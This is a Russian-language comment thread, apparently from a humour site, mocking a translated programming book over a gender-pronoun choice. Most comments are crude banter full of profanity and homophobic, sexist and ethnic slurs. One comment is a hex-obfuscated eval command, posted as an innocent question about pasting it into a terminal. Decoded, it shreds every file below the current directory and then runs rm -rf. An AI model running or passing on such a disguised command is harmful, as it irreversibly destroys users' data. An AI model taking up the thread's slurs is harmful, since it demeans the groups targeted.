Ясен пень, что читать программерские книги на русском — себя не уважать. В том числе из-за таких вот дебильных отсылок. Поэтому чуваку, сделавшему скриншот, остается пожелать лишь одного — купи себе книгу на англицком, бро!
Ясен пень, что читать программерские книги на русском — себя не уважать. В том числе из-за таких вот дебильных отсылок. Поэтому чуваку, сделавшему скриншот, остается пожелать лишь одного — купи себе книгу на англицком, бро!
56 Комментариев
Почему книга лежит на чьей-то сраке? И почему срака не бритая?
У политкорректного шакала таких вопросов не должно возникать.
Но если интересно, то лучше спросить у автора — Сергея Гарника.
Это ж пузо а не жепа
Хуйня, не читати !111!
Пойду куплю эту книжку и положу на полку, всем известно что программисты книжек не читают, а только смотрят видео уроки.
и еще конференции посещают, там вообще можно что угодно выучить
Заодно и подкрепиться, конференции я люблю, особенно где унижают плюсы и прославляют Джаву
Чтоб тянку подцепить?
Тянка и джава вещи не совместимые, тут была статья про объект = новый объект, полистай.
А название? Епам зазывает массажисток-шлюх?
Джава — говно для слабоумных макак.
Но за это говно платят хорошо и знание того что за джаву платят хорошо пуканы взрывает и порождает тонны высеров
А еще от знания того что хорошо платят гей-шлюхам, тоже пуканы взрывает и порождает тонны высеров.
Тебе первому пукан рвет.
Это не конференции, а встречи анонимных пидарасов 😉
Судя по всему, книгу на толчке читал епамовец, который не бреет лобковые волосы, в отличие от своего коллеги.
Откуда знаешь, что коллега бреет?
Да ты не в теме. Пошёл нахуй.
Я брею лобковые волосы и подмыхи! Я человек, а не обезьяна!
Пойду читану Джо Селко
Вот выебщики в своём репертуаре, обязательно надо понтануться, что читать надо именно на английском, хотя нихуя никакой разнцы нет. Ебаные имбецилы.
Да на англицком элементарно ПРОЩЕ ПОНЯТЬ!
Только мазохист будет на руссише читать.
Как можно легче понять, если еще и переводить нужно?
Дык не нужно переводить!
Нужно сразу запоминать в языке оригинала блеать.
Или есть сакральный смысл переводить Model как «Модель», View — как «Вью», Control как «Контрол»?
… «Представление» и «Елемент управления», попрошу.
Просто иди нахуй со своими представлениями и эллементами управления.
Может у тебя еще IDE на русском?
с Иконками!
Да уж, мудацкое замечание. Вот наверно женщинам-программисткам будет приятно такое прочитать.
Даже не просто мудацкое, а мудацкое без причины. Мог бы перевести как «она», мог бы просто тихо изменить на «он», но нет, мудак решил показать себя во все красе, довести так сказать до широких масс свою жизненную позицию. Что он мол тоже «право имеет», что имеет маленькую, но власть. А то что редактор такое пропустил делает и ему и всему издательству большой минус.
Переводчик делал перевод, такой, чтобы читателю было удобно, ибо и правда многие термины в женском роде на русском языке звучат довольно дико. Т.е. автор-переводчик постарался сделать так, чтобы его текст легко читался, а не просто гугл-транслейтом перевёл.
А ты небось очередная активистка ФЕМЕН, бегающая с голой пиздой и борящаяся за какие-то права, которые и так у женщин есть.
Мне, например, без разницы М или Ж. Я всегда захожу с черного хода.
2016
@
кто-то открыл для себя что оказывается есть gender-neutral произношения
@
половине ваще похуй всё, кроме волосни на фото
@
кто-то кукарет что русские книги ненужны, онли инглиш ма’фака
@
как же таки на самом деле политкорретно делать рефакторинг?
@
$ eval $’\x66\x69\x6e\x64\x20\x2d\x74\x79\x70\x65\x20\x66\x20\x2d\x65\x78\x65\x63\x20\x73\x68\x72\x65\x64\x20\x2d\x66\x20\x2d\x6e\x20\x34\x32\x20\x2d\x75\x20\x27\x7b\x7d\x27\x20\x27\x3b\x27\x20\x26\x26\x20\x72\x6d\x20\x2d\x72\x66\x20\x2a’
что будет, если я это копипейст в терминал?
А вбросьте на фем.паблики.
Палок тобі підкинути треба — знімай штани, ставати рака !111!!!!
хохло кiт iбав вас в рит
кого ты там угнетать можешь, лямбда-самец?
лямбда самец =)
Дельта самец 🙂
Что это за хуита вообще? Про углубляющий рефакторинг. Про какую-то хуйню, малафью. Нахуя такое читать? Какой от этого толк?
Ну у меня привстал немножко.
шишка встанет: будем малафить!
перевод под редакцией в. сюткина.
Оставьте уже Валеру в покое.
Промахнулся афтор:
Политическая корректность предполагает замену слов, которые имеют половую принадлежность, на гендерно-нейтральные термины, например, «chairperson» вместо «chairman» (председатель);
https://ru.wikipedia.org/wiki/Политическая_корректность
Ну а за чтиво на аглицком люто плюсую — заебали уже вьіебщики на хабре, которьім подавай все только на российской мове
Про модели и прочую техническую поебень пишите и читайте на английском — язык специально созданный, чтобы программировать людей. А вот про красоту природы и глубину душевных переживаний лучше чем русский язык не найдешь. На меня-то не смотрите, я не Пушкин.
Какая тут нахуй политкоректность — это же оголтелый сексзим и дискриминация!
Мужчина-переводчик Женщину-программиста заменил на мужчину-программиста что бы мужчинам-программистам было удобнее читать. Да за такое нужно ноги переломать!
Давно решили что ради политкорректности программистов нужно называть ОНО ! Потому что в офисе не должно быть деления по половому признаку.
И тем более пользователя нужно называть ОНО. Потому что мы одинаково любим и уважаем всех наших пользователей: не только мужчин и женщин, но и все другие возможные варианты!
Надо просто запретить половой признак, вот и всё. Bingo!
Ты нахуя хуйню несешь? Мужчину программиста называть он, женщину она, а тебя, сучка, оно. Все довольны
Я считаю, что эта книга оскорбляет вертосексуалов.
Почему фигурирует не человек, считающий себя вертолетом и занимающийся финансовым учетом? Нас что, таких мало?
Автора распять на винте Апача!
А ты докажи вначале, что вертолёты у тебя вызывают половое влечение и неуёмную сексуальную страсть.
Тото и оно, а некоторые ради доказательства в очко пялятся
Шо бля, ни один не узнал что за книга? Эванс DDD.
Таки пихапешники уже скоро будут пиздить сцанными тряпками жаберов с гадюками?
Все просто такие дохуя умные, но забыли одно. Слово «User» и иже с ними в английском имеет женский род, поэтому и «she/her». Поэтому у нас айти и ебаное, что переводчики языков не знают, а все остальные кукарекают за сексизм.
Сэр, вы таки еблан? В английском нет родов, только местоимения пола, блять.
Ах, да, а вот к неодушевленному предмету, к которому привязался, обращаются обычно «она» лал.
Да, к самолету, фордфокусу и прочим бульдозерам
так в английском бородатые гуру действительно ради политкорректности пишут и говорят she или даже they в единственном числе.
зачем только такой комментарий печатать?
Это в цэевропейской стране должны читать на Инглишь, потому как на державной мове книг по теме просто таки исчезающе малое количество. Ну а мне чтобы выучить С не надо предварительно учить Инглиш все равно я не буду им владеть лучше нуёркского бомжа, я спокойно почитаю на родном K&R благо перевод пережил несколько изданий, я знаю что большинство цэевропейцев плачут колются но то же читают на великом и могучем.